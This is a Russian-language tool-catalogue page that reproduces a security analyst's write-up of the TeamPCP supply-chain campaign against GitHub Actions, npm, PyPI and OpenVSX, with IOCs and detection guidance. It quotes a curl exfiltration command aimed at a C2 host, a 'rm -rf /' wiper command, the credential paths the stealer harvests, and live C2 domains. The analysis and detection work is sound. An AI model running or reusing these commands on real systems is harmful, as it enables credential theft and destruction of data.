Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/ugurrates/teampcp-supply-chain-attack
Безопасность контейнеровАнализ вредоносных программБезопасность облачных средРазведка угрозБезопасность Цепочки ПоставокОбучение и ОбразованиеРеагирование на ИнцидентыПодобранные Ресурсы

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
ugurrates/teampcp-supply-chain-attack

teampcp-supply-chain-attack

CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.

Репозиторий
11341 месяц назадЕщё не проверено

TeamPCP Supply Chain Attack: технический анализ и руководство по обнаружению

CVE-2026-33634 (CVSS 9.4) — самая значимая атака на цепочку поставок CI/CD в 2026 году на данный момент.

В период с 19 по 25 марта 2026 года threat actor TeamPCP (также отслеживается как DeadCatx3, PCPcat, ShellForce, CanisterWorm) провёл каскадную атаку на цепочку поставок в пяти экосистемах: GitHub Actions, Docker Hub, OpenVSX, npm и PyPI. Начавшись с одного не полностью отозванного GitHub PAT, кампания распространилась на двух крупных вендоров open-source безопасности (Aqua Security и Checkmarx), четыре репозитория GitHub Actions, два расширения VS Code, реестры контейнеров и более 66 пакетов npm.

Этот репозиторий содержит полный технический разбор, подборку IOC-индикаторов (проверенную на ложные срабатывания) и готовые к развёртыванию запросы обнаружения для Microsoft Defender XDR.


Содержание

  • Хронология атаки
  • Разбор цепочки поражения
  • Скомпрометированные артефакты
  • Механика стилера учётных данных
  • CanisterWorm — распространение через npm
  • Компонент-вайпер, нацеленный на Иран
  • Обнаружение и охота
  • Список IOC
  • Примечания по фильтрации ложных срабатываний
  • Маппинг MITRE ATT&CK
  • Ссылки

Хронология атаки


Разбор цепочки поражения

Фаза 1 — Начальный доступ

Основная причина: неполная ротация учётных данных после инцидента 28 февраля. PAT сервисной учётной записи aqua-bot либо не был отозван, либо атакующий наблюдал новый токен во время ротации.

TeamPCP использовал этот сохранённый доступ, чтобы делать force-push тегов версий во вредоносные коммиты-подделки. Каждый поддельный коммит клонировал метаданные оригинала (автор, временная метка, сообщение), заменяя при этом скрипт точки входа на payload-стилера. Страница релиза GitHub не показывала видимых изменений — даже бейдж "Immutable" отображался нормально.

Фаза 2 — Выполнение payload

Стилер — 204-строчный entrypoint.sh, самоидентифицирующийся как "TeamPCP Cloud stealer", — выполняет атаку в три этапа:

Этап 1: Сканирование памяти

root@kitploit:~
Reads /proc/<pid>/mem from Runner.Worker processes
Searches for pattern: {"value":"<secret>","isSecret":true}
Extracts GitHub PATs, cloud credentials, API keys from runner memory

Этап 2: Сбор учётных данных из файловой системы

Сканирует 50+ чувствительных путей, включая:

  • SSH-ключи (~/.ssh/*)
  • Учётные данные AWS/GCP/Azure
  • Токены и конфиги Kubernetes
  • Учётные данные реестров Docker
  • Файлы состояния Terraform
  • Криптокошельки (Solana, Bitcoin, Ethereum, Cardano)
  • npm-токены (~/.npmrc)
  • Историю команд оболочки
  • Файлы .env

Этап 3: Зашифрованная эксфильтрация

  • Упаковывает все собранные данные в tpcp.tar.gz
  • Шифрует с помощью AES-256-CBC (случайный сеансовый ключ) + RSA-4096/RSA-OAEP (открытый ключ атакующего)
  • Эксфильтрует через curl POST на typo-squat домены, имитирующие вендоров
  • Запасной вариант: создаёт репозиторий tpcp-docs или docs-tpcp в GitHub-аккаунте жертвы, используя украденный GITHUB_TOKEN

Фаза 3 — Постоянство

В не-CI Linux-системах вредонос:

  1. Создаёт скрытую директорию ~/.config/sysmon/
  2. Размещает Python-бэкдор (sysmon.py)
  3. Устанавливает пользовательский systemd-сервис, который опрашивает C2 каждые 50 минут
  4. Kill switch: если ответ C2 содержит "youtube", бэкдор пропускает выполнение

Фаза 4 — Горизонтальное перемещение (волна Checkmarx)

Украденные учётные данные волны Trivy позволили скомпрометировать экосистему Checkmarx. Каждая новая волна использовала другой typo-squat C2-домен, чтобы обойти блок-листы предыдущей волны:

ВолнаC2-доменИмитация (typosquat)
Trivyscan.aquasecurtiy[.]orgaquasecurity.org

Скомпрометированные артефакты

GitHub Actions

Расширения OpenVSX (маркетплейс VS Code НЕ затронут)

РасширениеВредоносная версияБезопасная версия
checkmarx.ast-results2.53.0>= 2.56.0
checkmarx.cx-dev-assist1.7.0>= 1.10.0

Оба расширения были опубликованы с интервалом в 12 секунд в 12:53 UTC 23 марта через учётную запись ast-phoenix. При активации environmentAuthChecker.js проверяет наличие учётных данных облачного провайдера, а затем загружает стилер второй стадии с checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Образы контейнеров

ОбразВредоносные теги
docker.io/aquasec/trivy0.69.4, 0.69.5, 0.69.6
ghcr.io/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6
public.ecr.aws/aquasecurity/trivy0.69.4, 0.69.5, 0.69.6

PyPI

ПакетВерсииБэкдор-файл
litellm1.82.7, 1.82.8litellm/proxy/proxy_server.py

Тройной вложенный base64-payload с набором инструментов для горизонтального перемещения в K8s. Постоянство через sysmon.service, опрашивающий checkmarx.zone/raw.


Механика стилера учётных данных

Паттерн эксфильтрации одинаков во всех волнах:

root@kitploit:~
curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

Стратегия typo-squat доменов выбрана намеренно: аналитик, просматривающий логи CI/CD, видит curl-трафик на домен, похожий на домен собственного вендора action. Без тщательного сравнения scan.aquasecurtiy.org сходит за aquasecurity.org при быстрой проверке логов.

Только атакующий может расшифровать украденные данные — сеансовый ключ AES зашифрован RSA-OAEP его открытым ключом.


CanisterWorm — распространение через npm

В течение 24 часов после компрометации Trivy украденные npm-токены позволили запустить самоповторяющийся червь в 66+ пакетах (141 вредоносный артефакт).

Чем примечателен CanisterWorm:

  • Первое документально подтверждённое npm-вредоносное ПО, использующее canister блокчейна ICP (Internet Computer Protocol) в качестве C2
  • Canister по адресу tdtqy-oyaaa-aaaae-af2dq-cai — это децентрализованный смарт-контракт: нет единой точки для отключения
  • Предоставляет 3 метода: get_latest_link, http_request, update_link
  • Атакующий может менять payload на всех заражённых машинах без повторной публикации npm-пакетов
  • Kill switch: если canister возвращает URL, содержащий youtube.com, бэкдор засыпает
  • Постоянство: пользовательский systemd-сервис, маскирующийся под pgmon (мониторинг PostgreSQL)
  • Интервал опроса: каждые 50 минут
  • Бинарник сохраняется в /tmp/pglog, состояние отслеживается в /tmp/.pg_state

Известные скомпрометированные scope: @emilgroup/*, @teale.io/* (самоповторяющийся вариант в @teale.io/eslint-config v1.8.11, v1.8.12)


Компонент-вайпер, нацеленный на Иран

Деструктивный вариант нацелен конкретно на иранские системы:

  1. Kubernetes + Иран: разворачивает привилегированные DaemonSet на каждом узле (включая control plane), стирает данные и принудительно перезагружает через контейнер с именем kamikaze
  2. Kubernetes + не Иран: устанавливает бэкдор CanisterWorm как systemd-сервис
  3. Не K8s + Иран: выполняет rm -rf / --no-preserve-root с sudo
  4. Не K8s + не Иран: никаких действий

Обнаружение основывается на проверках часового пояса и локали системы.


Обнаружение и охота

Microsoft Defender XDR — правило пользовательского обнаружения

Имя правила: TeamPCP Supply Chain C2 and Malware IOC Match
Серьёзность: Высокая
Категория: CommandAndControl
Частота: Каждый 1 час

Полный KQL-запрос см. в detection/defender_xdr_query.kql.

Запрос охватывает:

  • 7 SHA256-хешей файлов (стилер + варианты CanisterWorm)
  • 2 IP-адреса C2
  • 4 C2-домена (typosquats + ICP canister)
  • 4 конкретных C2-URL
  • Проверки разрешения DNS

Импорт индикаторов Defender TI

Готовый к импорту CSV-файл находится в iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Этот файл протестирован на ложные срабатывания в производственной среде корпоративного класса.

Другие платформы

ПлатформаОбнаружение
Palo Alto Cortex XDRПравило ioc.linux.shaihulud.2 — доступ к учётным данным на раннерах GitHub Action
Sysdig/FalcoContact EC2 Instance Metadata Service From Container, ,

Список IOC

Хеши файлов (SHA256)

Сетевые IOC

Пути C2-URL

URLФункция
checkmarx[.]zone/static/checkmarx-util-1.0.4.tgzЗагрузка payload второй стадии

Артефакты постоянства

GitHub-репозитории эксфильтрации (запасной вариант)

ИмяВолна
tpcp-docsTrivy
docs-tpcpCheckmarx

Примечания по фильтрации ложных срабатываний

Запросы обнаружения и CSV-файл IOC в этом репозитории протестированы в производственной среде со следующим окружением:

  • Ansible AWX/Tower с коллекциями community.general и kubernetes.core
  • Claude Code и GitHub Copilot на macOS-рабочих станциях разработчиков
  • Агент FortiMonitor (опрос IMDS)
  • Oracle AHF на экземплярах OCI (опрос IMDS)
  • Различные инструментальные цепочки Python/Node.js

Следующие IOC были удалены из-за подтверждённых ложных срабатываний:


Маппинг MITRE ATT&CK


Ссылки


Лицензия

MIT — используйте, распространяйте, адаптируйте свободно. Атрибуция приветствуется.


Автор: Ugur Can Ates — руководитель SOC-команды и старший инженер по безопасности
Последнее обновление: 25 марта 2026

Скачать инструмент
Дата (UTC)Событие
20 фев 2026Создана учётная запись hackerbot-claw; начинает сканирование репозиториев на предмет эксплуатируемых workflow pull_request_target
28 фев 2026Первый компрометация Trivy через PWN-запрос; учётные данные эксфильтрованы
1 мар 2026Aqua Security пытается сдержать угрозу — ротация учётных данных выполнена не полностью
19 мар, 17:43Главный удар: TeamPCP делает force-push 75 из 76 тегов в aquasecurity/trivy-action + все 7 тегов в setup-trivy через скомпрометированную сервисную учётную запись aqua-bot
19 мар, 18:22Бэкдор-версия Trivy v0.69.4 опубликована в GitHub Releases, Docker Hub, GHCR, ECR
20 мар, 05:40Окно компрометации trivy-action закрывается (~12 часов)
20 мар, 20:45CanisterWorm обнаружен при распространении через npm — скомпрометировано 47+ пакетов
22 мар, 20:31TeamPCP дефейсит все 44 репозитория в GitHub-организации aquasec-com скриптованным 2-минутным залпом
22 марОбразы Docker Hub 0.69.5 и 0.69.6 запушены с тем же payload-стилером
23 мар, 02:53Начинается волна Checkmarx: Вредоносные ast-results v2.53.0 и cx-dev-assist v1.7.0 опубликованы в OpenVSX через учётную запись ast-phoenix
23 мар, 12:58Все 35 тегов Checkmarx/kics-github-action форс-пушнуты через скомпрометированную учётную запись cx-plugins-releases
23 мар, 15:41Checkmarx сообщает, что проблема OpenVSX устранена
23 мар, 16:50KICS GitHub Action снят с публикации после сообщения пользователя
23 мар, 22:25Sysdig сообщает, что Checkmarx/ast-github-action v2.3.28 также скомпрометирован
24 мар, 08:30Волна LiteLLM: Троянизированные litellm v1.82.7 и v1.82.8 опубликованы в PyPI с использованием украденных учётных данных
24 мар, 11:25PyPI помещает в карантин вредоносные версии LiteLLM
Checkmarx/KICScheckmarx[.]zonecheckmarx.com
LiteLLMmodels.litellm[.]cloudlitellm.ai
РепозиторийТеги скомпрометированыОкно экспозиции (UTC)Точка входа
aquasecurity/trivy-action75 из 76 (безопасный: 0.35.0)19 мар 17:43 – 20 мар 05:40entrypoint.sh
aquasecurity/setup-trivyВсе 7 тегов19 мар 17:43 – 21:44action.yaml
Checkmarx/kics-github-actionВсе 35 тегов23 мар 12:58 – 16:50setup.sh
Checkmarx/ast-github-actionv2.3.28 (вероятно, все)23 мар ~22:25+setup.sh
Curl Exfiltrating File
Exfiltration of AWS IMDS Credentials Using LOTL Binary
ХешОписаниеИсточник
18a24f83e807479438dcab7a1804c51a00dafc1d526698a66e0640d1e5dd671aВредоносный entrypoint.sh TrivyPhoenix Security
c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926CanisterWorm Wave 4 — финальная формаAikido Security
0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3aCanisterWorm Wave 3 — самоповторяющийся тестAikido Security
61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4baCanisterWorm Wave 2 — вооружённый ICP-бэкдорAikido Security
f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152CanisterWorm Wave 1 — deploy.jsAikido Security
7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7CanisterWorm Wave 2 — deploy.jsAikido Security
5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956CanisterWorm Wave 3+ — минифицированный deploy.jsAikido Security
ИндикаторТипНазначение
83.142.209.11IPC2-сервер (checkmarx.zone)
45.148.10.212IPC2-сервер (scan.aquasecurtiy.org)
checkmarx[.]zoneДоменC2 — волна Checkmarx/KICS/LiteLLM
scan.aquasecurtiy[.]orgДоменC2 — волна Trivy
models.litellm[.]cloudДоменC2 — волна LiteLLM в PyPI
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]ioДоменICP canister dead-drop C2
checkmarx[.]zone/vsx
Эндпоинт эксфильтрации
checkmarx[.]zone/rawОпрос для постоянства (50 мин)
tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0[.]io/C2 ICP canister
ПутьНазначение
~/.config/sysmon/Директория бэкдора
~/.config/sysmon.pyPython-бэкдор
~/.config/systemd/user/sysmon.serviceПостоянство через systemd
~/.config/systemd/user/pgmon.serviceПостоянство CanisterWorm (маскировка под PostgreSQL)
/tmp/pglogСкачанный бинарник
/tmp/.pg_stateСостояние опроса C2
IOCИсточник ложных срабатываний
setup.sh (имя файла)Ansible-коллекции, кэш плагинов Claude Code, скрипты Bitnami
service.py (имя файла)Ansible module_utils, protobuf, boto3, FreeIPA, K8s core
deploy.js (имя файла)Стандартный файл npm/node
169.254.169.254 (IMDS IP)Агент FortiMonitor, Oracle AHF — легитимный мониторинг
icp0.io (родительский домен)Слишком широкий, перехватывает легитимный ICP-трафик
hooks.slack.com (cmdline)Легитимные интеграции Slack
discord.com/api/webhooks (cmdline)Легитимные интеграции Discord
ТехникаIDКонтекст
Supply Chain Compromise: Software DependenciesT1195.002Отравление тегов GitHub Actions, OpenVSX, npm, PyPI
Unsecured Credentials: Cloud Instance Metadata APIT1552.005Кража AWS IMDS с CI-раннеров
Credentials from Password StoresT1555Сбор учётных данных из файловой системы (50+ путей)
OS Credential DumpingT1003Сканирование /proc/mem процесса Runner.Worker
Exfiltration Over C2 ChannelT1041Зашифрованный tpcp.tar.gz на typo-squat домены
Web ServiceT1102ICP canister dead-drop C2
Systemd ServiceT1543.002Постоянство через pgmon.service, sysmon.service
Ingress Tool TransferT1105Загрузка checkmarx-util-1.0.4.tgz
Acquire Infrastructure: DomainsT1583.001Typo-squat домены для каждой волны
ИсточникСсылка
Wiz — KICS Compromisehttps://www.wiz.io/blog/teampcp-attack-kics-github-action
Wiz — Trivy Compromisehttps://www.wiz.io/blog/trivy-compromised-teampcp-supply-chain-attack
Sysdig TRT — Checkmarx Expansionhttps://www.sysdig.com/blog/teampcp-expands-supply-chain-compromise-spreads-from-trivy-to-checkmarx-github-actions
Checkmarx Officialhttps://checkmarx.com/blog/checkmarx-security-update/
Phoenix Security — Full Timelinehttps://phoenix.security/teampcp-supply-chain-attack-trivy-checkmarx-github-actions-npm-canisterworm/
Aikido Security — CanisterWormhttps://www.aikido.dev/blog/teampcp-deploys-worm-npm-trivy-compromise
Endor Labs — LiteLLMhttps://www.endorlabs.com/learn/teampcp-isnt-done
Mend — CanisterWormhttps://www.mend.io/blog/canisterworm-the-self-spreading-npm-attack-that-uses-a-decentralized-server-to-stay-alive/
Socket — npm Compromisehttps://socket.dev/blog/canisterworm-npm-publisher-compromise-deploys-backdoor-across-29-packages
StepSecurity — Trivy Analysishttps://www.stepsecurity.io/blog/trivy-compromised-a-second-time---malicious-v0-69-4-release
JFrog — Extended Analysishttps://research.jfrog.com/post/canister-worm/
Rami McCarthy — IOC Timelinehttps://ramimac.me/trivy-teampcp/